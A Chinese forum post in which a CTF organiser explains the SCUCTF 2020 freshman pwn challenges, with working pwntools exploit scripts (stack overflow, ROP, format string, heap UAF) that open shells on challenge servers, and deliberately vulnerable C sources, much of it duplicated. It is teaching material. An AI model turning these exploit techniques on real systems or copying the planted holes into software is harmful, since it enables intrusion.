-
-
[讨论]SCUCTF 2020新生赛 PWN部分出题笔记
-
发表于: 2020-11-27 11:34
-
题目搭建用的是：
https://github.com/giantbranch/pwn_deploy_chroot.git
感谢师傅，是真的方便，适合我这种懒狗。
本次新生赛PWN的做题情况比我想象中要好很多，很多新/老同学都愿意慢慢研究or接触PWN的技术，作为出题人挺开心的。
题目简单解析如下：
直接覆盖返回地址即可。
用一条pop_rdi的gadget控制system的参数为'/bin/sh'字符串的地址，然后用system在PLT中的表项调用system("/bin/sh\x00")
32位静态编译。留了个坑，gcc这个版本下编译到32位会对取返回地址的过程做一个简单的处理，所以不能直接覆盖返回地址，需要构造跳转。
首先覆盖canary低位的\x00，然后泄露canary，最后把canary拼到payload里，覆盖返回地址。
通过格式化字符串使用%p可以泄露pie和libc。
接下来使用%n覆盖main函数返回地址即可。
注意由于 sprintf(format,"Repeater:%s\n",s); 造成了栈中数据不对齐，需要手动补位对齐一下。
源码如下：
简单的64位栈迁移。
源码如下：
给了system，并且一开始给出了栈地址，那么就把栈迁移到本来的位置就行，然后读入'/bin/sh'，哟弄个pop_rdi控制参数，最后调用system即可。
简单的UAF。
第一个思路是通过在fastbin中double free然后修改全局的chunks表中某一未free的buf的地址(如果有不清楚fastbin中doublefree的请看fastbin中的doublefree)，让这个地址指向got表中free函数对应的地址，然后edit编辑这个buf，等价于修改了got表中free函数的地址，我们将free函数的地址改为system函数的地址，然后将shellcode写在某一未free的buf的chunk上，然后free这个buf，此时相当于调用了system(“bin/sh/“)
通过申请一个0x80的放入unsortbin和一个0x10的放入fastbin；然后再申请0x60，此时造成unsortedbin中的chunk被切割，返回的还是之前的chunk，UAF了（只不过此时的size变成0x60）
然后show（）拿到main_arena地址进而获取malloc hook的地址，继而获取libc_base。
再删掉这个0x60的块（del时不检查这个块是否被删过了），把它放到fastbin
此时再直接编辑这个在fastbin中的块，直接改他的fd指针到malloc_hook-0x23。
然后再把它申请回来，此时fastbin指向fakechunk（malloc_hook-0x23）
然后调用add写这个fakechunk，改realloc hook为ogg，同时改malloc hook为realloc+偏移来调整栈空间确保满足ogg的条件
glibc2.23，漏洞点一个uaf一个off-by-one，那么由于没有show，那么思想就是在fastbin中踩出一个指向main_arena的指针。通过off-by-one做overlap即可。最后劫持mallochook为ogg即可
具体做法其实就是当有off-by-one时考虑，做overlap，假如可以修改pre_in_use位，那么比如说先申请三个chunk，0，1，2（其中0号为大chunk可直接进入unsortbin，1号为0x68小chunk，2号为大chunk可直接进入unsortbin），先del(0)，再del，add1号，对2号使用off-by-one，同时伪造pre_size位为0+1号的总size合（注意申请1号chunk大小以0x8结尾，方便off-by-one），此时指示0，1号chunk为free状态，再del（2），此时触发unsortbin的前向合并，0、1、2三个chunk被合并放入unsortbin，然后再单独del（1）使其进入fastbin，此时1号chunk被overlap，他既在unsortbin又再fastbin。
这个过程做两次，第一次踩出来用来打stderr+157泄露libc，第二次用来劫持mallochook
strdup实际开的堆与size不一致导致堆溢出。无free，考虑劫持借助堆溢出把top chunk拉入unsortedbin做unsortbin attack，向bss上存chunk地址的表上写一个main_arena地址，然后打stdout泄露libc，最后劫持atoi为system，传入/bin/sh\x00即可
# encoding=utf-8from pwn import *
context.terminal = '/bin/zsh' # 调试使用的终端（shell）是zsh
elf = ELF("./ret2text")
sh = remote("121.196.34.30",10007)
# attach(sh)# pause()payload = "a"*0x10 + "b"*0x8 + p64(elf.sym['success'])
# payload：有效（攻击）载荷# 在返回之前，gets()函数丢弃换行符('\n')，取而代之的是以'\x00'结尾。sh.sendline(payload)sh.interactive()# encoding=utf-8
from pwn import *
context.terminal = '/bin/zsh' # 调试使用的终端（shell）是zsh
elf = ELF("./ret2text")
# attach(sh)# pause()payload = "a"*0x10 + "b"*0x8 + p64(elf.sym['success'])
# payload：有效（攻击）载荷# 在返回之前，gets()函数丢弃换行符('\n')，取而代之的是以'\x00'结尾。sh.sendline(payload)sh.interactive()# encoding=utf-8from pwn import *
context.terminal = '/bin/zsh' # 调试使用的终端（shell）是zsh
elf = ELF("./ret2text")
sh = remote("121.196.34.30",10007)
# attach(sh)# pause()payload = "a"*0x10 + "b"*0x8 + p64(elf.sym['success'])
# payload：有效（攻击）载荷# 在返回之前，gets()函数丢弃换行符('\n')，取而代之的是以'\x00'结尾。sh.sendline(payload)sh.interactive()# encoding=utf-8
from pwn import *
context.terminal = '/bin/zsh' # 调试使用的终端（shell）是zsh
elf = ELF("./ret2text")
# attach(sh)# pause()payload = "a"*0x10 + "b"*0x8 + p64(elf.sym['success'])
# payload：有效（攻击）载荷# 在返回之前，gets()函数丢弃换行符('\n')，取而代之的是以'\x00'结尾。sh.sendline(payload)sh.interactive()#!/usr/bin/env pythonfrom pwn import *
context.terminal='/bin/zsh'
context.log_level='debug'
#sh = process('./ret2libc1')elf = ELF("./ret2libc1")
binsh_addr = 0x0000000000400a14
system_plt = elf.plt['system']
pop_rdi = 0x00000000004009f3
payload = "a"*0x78 + p64(pop_rdi )+ p64(binsh_addr) + p64(system_plt)
pause()sh.sendline(payload)sh.interactive()#!/usr/bin/env pythonfrom pwn import *
context.terminal='/bin/zsh'
context.log_level='debug'
#sh = process('./ret2libc1')elf = ELF("./ret2libc1")
binsh_addr = 0x0000000000400a14
system_plt = elf.plt['system']
pop_rdi = 0x00000000004009f3
payload = "a"*0x78 + p64(pop_rdi )+ p64(binsh_addr) + p64(system_plt)
pause()sh.sendline(payload)sh.interactive()# encoding=utf-8#!/usr/bin/env pythonfrom pwn import *
context.terminal='/bin/zsh'
context.log_level='debug'
#sh = process('./ret2shellcode') # 开启一个对应程序的进程context.arch='i386'
print shellcraft.sh() # 使用shellcraft.sh()可以生成对应的shellcode
pre='aaaa'+p32(0x80F0A00+8)
shellcode = pre+asm(shellcraft.sh())
buf2_addr = 0x80F0A00
# system('/bin/sh')# attach(sh)# pause()payload=shellcode.ljust(0x64, 'A') + p32(buf2_addr+8)+p32(buf2_addr+8)
info(hex(len(payload)))
sh.send(payload) # 我们输入的恶意的shellcode会被放在buf2上
sh.interactive()# encoding=utf-8#!/usr/bin/env pythonfrom pwn import *
context.terminal='/bin/zsh'
context.log_level='debug'
#sh = process('./ret2shellcode') # 开启一个对应程序的进程context.arch='i386'
print shellcraft.sh() # 使用shellcraft.sh()可以生成对应的shellcode
pre='aaaa'+p32(0x80F0A00+8)
shellcode = pre+asm(shellcraft.sh())
buf2_addr = 0x80F0A00
# system('/bin/sh')# attach(sh)# pause()payload=shellcode.ljust(0x64, 'A') + p32(buf2_addr+8)+p32(buf2_addr+8)
info(hex(len(payload)))
sh.send(payload) # 我们输入的恶意的shellcode会被放在buf2上
sh.interactive()# encoding=utf-8from pwn import *
from LibcSearcher import *
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
libc_path = "/lib/x86_64-linux-gnu/libc-2.23.so"
elf_path = "./canary"
libc = ELF(libc_path)
elf = ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)if sys.argv[1]=='1':
context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
elif sys.argv[1]=='0':
context(log_level = 'info',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
#io = process([elf_path],env={"LD_PRELOAD":libc_path})def exp():
global io
#io = process(elf_path)
#pause()
sal("length?",str(0x19))
sal('what?','a'*0x18)
ru('a'*0x18+'\n')
c = u64(r(7).rjust(8,'\x00'))
success(hex(c))
ru("OK")
s=0x0000000000400885
payload = flat(
'a'*0x18,
c,
'a'*8,
s
)
sl(payload.ljust(0x30,'\x00'))
shell()
exp()# encoding=utf-8from pwn import *
from LibcSearcher import *
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
libc_path = "/lib/x86_64-linux-gnu/libc-2.23.so"
elf_path = "./canary"
libc = ELF(libc_path)
elf = ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)if sys.argv[1]=='1':
context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
elif sys.argv[1]=='0':
context(log_level = 'info',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
#io = process([elf_path],env={"LD_PRELOAD":libc_path})def exp():
global io
#io = process(elf_path)
#pause()
sal("length?",str(0x19))
sal('what?','a'*0x18)
ru('a'*0x18+'\n')
c = u64(r(7).rjust(8,'\x00'))
success(hex(c))
ru("OK")
s=0x0000000000400885
payload = flat(
'a'*0x18,
c,
'a'*8,
s
)
sl(payload.ljust(0x30,'\x00'))
shell()
exp()# encoding=utf-8from pwn import *
from LibcSearcher import *
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
libc_path = "/lib/x86_64-linux-gnu/libc-2.23.so"
elf_path = "./fmt"
libc = ELF(libc_path)
elf = ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)if sys.argv[1]=='1':
context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
elif sys.argv[1]=='0':
context(log_level = 'info',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
def exp():
global io
#io = process(elf_path)
io = remote("121.196.34.30",10003)
ru("Welcome to strfmt PWN!")
sl("%83$p")
ru("Repeater:")
main = int(r(12),16)
success("main:"+hex(main))
pie = main-0xba6
success("pie:"+hex(pie))
s = 0xb50+pie
success("success:"+hex(s))
sl("%76$p")
ru("Repeater:")
stack = int(r(14),16)-(0x8c40-0x8b68)
success("ret addr in stack:"+hex(stack))
num1 = (s>>32)-0x10
#num1=0
payload = flat(
"a"*7,
"%"+str(num1)+"c", #252
"%9$hnaaaaaaa",
p64(stack+4),
)
sl(payload)
ru("Repeater:")
# pause()
num2 = ((s>>16)&0xffff)-0x10
payload = flat(
'a'*7,
"%"+str(num2)+"c",
"%9$hnaaaaa",
p64(stack+2)
)
sl(payload)
ru("Repeater:")
num3 = (s&0xffff)-0x10
payload = flat(
'a'*7,
"%"+str(num3)+"c",
"%9$hnaaaaa",
p64(stack)
)
sl(payload)
ru("Repeater:")
sl('a'*0x100)
shell()
exp()#
# encoding=utf-8from pwn import *
from LibcSearcher import *
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
libc_path = "/lib/x86_64-linux-gnu/libc-2.23.so"
elf_path = "./fmt"
libc = ELF(libc_path)
elf = ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)if sys.argv[1]=='1':
context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
elif sys.argv[1]=='0':
context(log_level = 'info',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
def exp():
global io
#io = process(elf_path)
io = remote("121.196.34.30",10003)
ru("Welcome to strfmt PWN!")
sl("%83$p")
ru("Repeater:")
main = int(r(12),16)
success("main:"+hex(main))
pie = main-0xba6
success("pie:"+hex(pie))
s = 0xb50+pie
success("success:"+hex(s))
sl("%76$p")
ru("Repeater:")
stack = int(r(14),16)-(0x8c40-0x8b68)
success("ret addr in stack:"+hex(stack))
num1 = (s>>32)-0x10
#num1=0
payload = flat(
"a"*7,
"%"+str(num1)+"c", #252
"%9$hnaaaaaaa",
p64(stack+4),
)
sl(payload)
ru("Repeater:")
# pause()
num2 = ((s>>16)&0xffff)-0x10
payload = flat(
'a'*7,
"%"+str(num2)+"c",
"%9$hnaaaaa",
p64(stack+2)
)
sl(payload)
ru("Repeater:")
num3 = (s&0xffff)-0x10
payload = flat(
'a'*7,
"%"+str(num3)+"c",
"%9$hnaaaaa",
p64(stack)
)
sl(payload)
ru("Repeater:")
sl('a'*0x100)
shell()
exp()#
#include<stdio.h>#include<stdlib.h>#include<unistd.h>#include<string.h>#include <signal.h>void success(){ system("/bin/sh");
}void sig_handler(int num)
{ printf("hurry baby!!\n");
exit(0);
}void set_up(){ signal(SIGALRM, sig_handler);
alarm(5);
}int main(){
setbuf(stdout,0);
setbuf(stderr,0);
setbuf(stdin,0);
puts("Welcome to strfmt PWN!");
set_up();
char s[0x100];
char format[0x12c];
memset(s,0,0x101);
memset(format,0,0x12c);
while(1){
read(0,s,0x100);
sprintf(format,"Repeater:%s\n",s);
if(strlen(format)>265){
break;
}
printf(format);
}
printf("go away~");
return 0;
}#include<stdio.h>#include<stdlib.h>#include<unistd.h>#include<string.h>#include <signal.h>void success(){ system("/bin/sh");
}void sig_handler(int num)
{ printf("hurry baby!!\n");
exit(0);
}void set_up(){ signal(SIGALRM, sig_handler);
alarm(5);
}int main(){
setbuf(stdout,0);
setbuf(stderr,0);
setbuf(stdin,0);
puts("Welcome to strfmt PWN!");
set_up();
char s[0x100];
char format[0x12c];
memset(s,0,0x101);
memset(format,0,0x12c);
while(1){
read(0,s,0x100);
sprintf(format,"Repeater:%s\n",s);
if(strlen(format)>265){
break;
}
printf(format);
}
printf("go away~");
return 0;
}#include<stdio.h>#include<stdlib.h>#include<unistd.h>#include<string.h>#include <signal.h>void sig_handler(int num)
{ printf("hurry baby!!\n");
exit(0);
}void set_up(){ signal(SIGALRM, sig_handler);
alarm(5);
}void pwn(){ system("echo SCUCTF{fake_flag_hahahahhahaha_bendan}");
}void vul(){ char s[0x20];
printf("Give you a stack addr:%p\n",&s);
memset(s,0,0x20);
puts("SCUCTF:");
read(0,s,0x30);
return;
}int main(){
setbuf(stdout,0);
setbuf(stderr,0);
setbuf(stdin,0);
//set_up();
puts("Stack migration is a very useful skill!");
vul();
return 0;
}#include<stdio.h>#include<stdlib.h>#include<unistd.h>#include<string.h>#include <signal.h>void sig_handler(int num)
{ printf("hurry baby!!\n");
exit(0);
}void set_up(){ signal(SIGALRM, sig_handler);
alarm(5);
}void pwn(){ system("echo SCUCTF{fake_flag_hahahahhahaha_bendan}");
}void vul(){ char s[0x20];
printf("Give you a stack addr:%p\n",&s);
memset(s,0,0x20);
puts("SCUCTF:");
read(0,s,0x30);
return;
}int main(){
setbuf(stdout,0);
setbuf(stderr,0);
setbuf(stdin,0);
//set_up();
puts("Stack migration is a very useful skill!");
vul();
return 0;
}# encoding=utf-8from pwn import *
from LibcSearcher import *
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
libc_path = "/lib/x86_64-linux-gnu/libc-2.23.so"
elf_path = "./stack_migration"
libc = ELF(libc_path)
elf = ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)if sys.argv[1]=='1':
context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
elif sys.argv[1]=='0':
context(log_level = 'info',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
def exp():
global io
#io = process(elf_path)
io = remote("121.196.34.30",10008)
# attach(io)
lr = 0x00000000004008cb
pop_rdi = 0x0000000000400993
call_system = 0x40086E
ru("Give you a stack addr:")
stack = int(r(len("0x7fff8ae99b90")),16)
fake_ebp = stack-8
payload = flat(
pop_rdi,
stack+0x18,
call_system,
"/bin/sh\x00",
fake_ebp,
lr
)
ru("SCUCTF:")
sl(payload)
shell()
exp()# encoding=utf-8from pwn import *
from LibcSearcher import *
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
libc_path = "/lib/x86_64-linux-gnu/libc-2.23.so"
elf_path = "./stack_migration"
libc = ELF(libc_path)
elf = ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)if sys.argv[1]=='1':
context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
elif sys.argv[1]=='0':
context(log_level = 'info',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
def exp():
global io
#io = process(elf_path)
io = remote("121.196.34.30",10008)
# attach(io)
lr = 0x00000000004008cb
pop_rdi = 0x0000000000400993
call_system = 0x40086E
ru("Give you a stack addr:")
stack = int(r(len("0x7fff8ae99b90")),16)
fake_ebp = stack-8
payload = flat(
pop_rdi,
stack+0x18,
call_system,
"/bin/sh\x00",
fake_ebp,
lr
)
ru("SCUCTF:")
sl(payload)
shell()
exp()# encoding=utf-8from pwn import *
context.log_level='debug'
context.terminal='/bin/zsh'
libc = ELF("./libc-2.23.so")
elf = ELF("./easy_uaf")
def add(io,size,buf):
io.recvuntil(">> ")
io.sendline("1")
io.recvuntil("size: ")
io.sendline(str(size))
io.recvuntil("buf: ")
io.sendline(str(buf))
def delt(io,idx):
io.recvuntil(">> ")
io.sendline("4")
io.recvuntil("idx: ")
io.sendline(str(idx))
def show(io,idx):
io.recvuntil(">> ")
io.sendline("3")
io.recvuntil("idx: ")
io.sendline(str(idx))
def edit(io,idx,buf):
io.recvuntil(">> ")
io.sendline("2")
io.recvuntil("idx: ")
io.sendline(str(idx))
io.recvuntil("buf: ")
io.sendline(str(buf))
io = process("./easy_uaf")
chunk = 0x6020c0 # 储存每个块的指针+大小
free_got = elf.got['free']
chunk_32 = 0x6020e0
size = 0x20
add(io,0x30,"b"*0x10) #id:0
add(io,size,"a"*0x10) #id:1
add(io,size,"b"*0x10) #id:2
delt(io,1)
delt(io,2)
delt(io,1)
p1 = flat(p64(chunk))
add(io,size,p1) # 做假fd
add(io,size,"c"*0x10)
add(io,size,"d"*0x10)
# 此时fatbin指向假fd的位置p3 = flat(p64(free_got),p64(8))
print "free_got :",hex(free_got)
add(io,size,p3) # 改掉chunk的索引为free got
show(io,1) # 利用freegot泄漏free的真实地址计算libc base
free_now = u64(io.recv(6).ljust(8,'\x00'))
print "free_now:",hex(free_now)
offset = free_now-libc.sym['free']
print "offset:",hex(offset)
# pause()# attach(io)print "system :",hex(libc.sym['system']+offset)
sys = libc.sym['system']+offset
p4 = flat(p64(sys))
edit(io,1,p4) # 改free为system
p5 = flat("/bin/sh".ljust(0x20,"\x00"))
edit(io,3,p5) # shellcode 写入
delt(io,3)
io.interactive()# encoding=utf-8from pwn import *
context.log_level='debug'
context.terminal='/bin/zsh'
libc = ELF("./libc-2.23.so")
elf = ELF("./easy_uaf")
def add(io,size,buf):
io.recvuntil(">> ")
io.sendline("1")
io.recvuntil("size: ")
io.sendline(str(size))
io.recvuntil("buf: ")
io.sendline(str(buf))
def delt(io,idx):
io.recvuntil(">> ")
io.sendline("4")
io.recvuntil("idx: ")
io.sendline(str(idx))
def show(io,idx):
io.recvuntil(">> ")
io.sendline("3")
io.recvuntil("idx: ")
io.sendline(str(idx))
def edit(io,idx,buf):
io.recvuntil(">> ")
io.sendline("2")
io.recvuntil("idx: ")
io.sendline(str(idx))
io.recvuntil("buf: ")
io.sendline(str(buf))
io = process("./easy_uaf")
chunk = 0x6020c0 # 储存每个块的指针+大小
free_got = elf.got['free']
chunk_32 = 0x6020e0
size = 0x20
add(io,0x30,"b"*0x10) #id:0
add(io,size,"a"*0x10) #id:1
add(io,size,"b"*0x10) #id:2
delt(io,1)
delt(io,2)
delt(io,1)
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入！
最后于 2021-3-1 17:29
被Roland_编辑
，原因： 添加题目附件
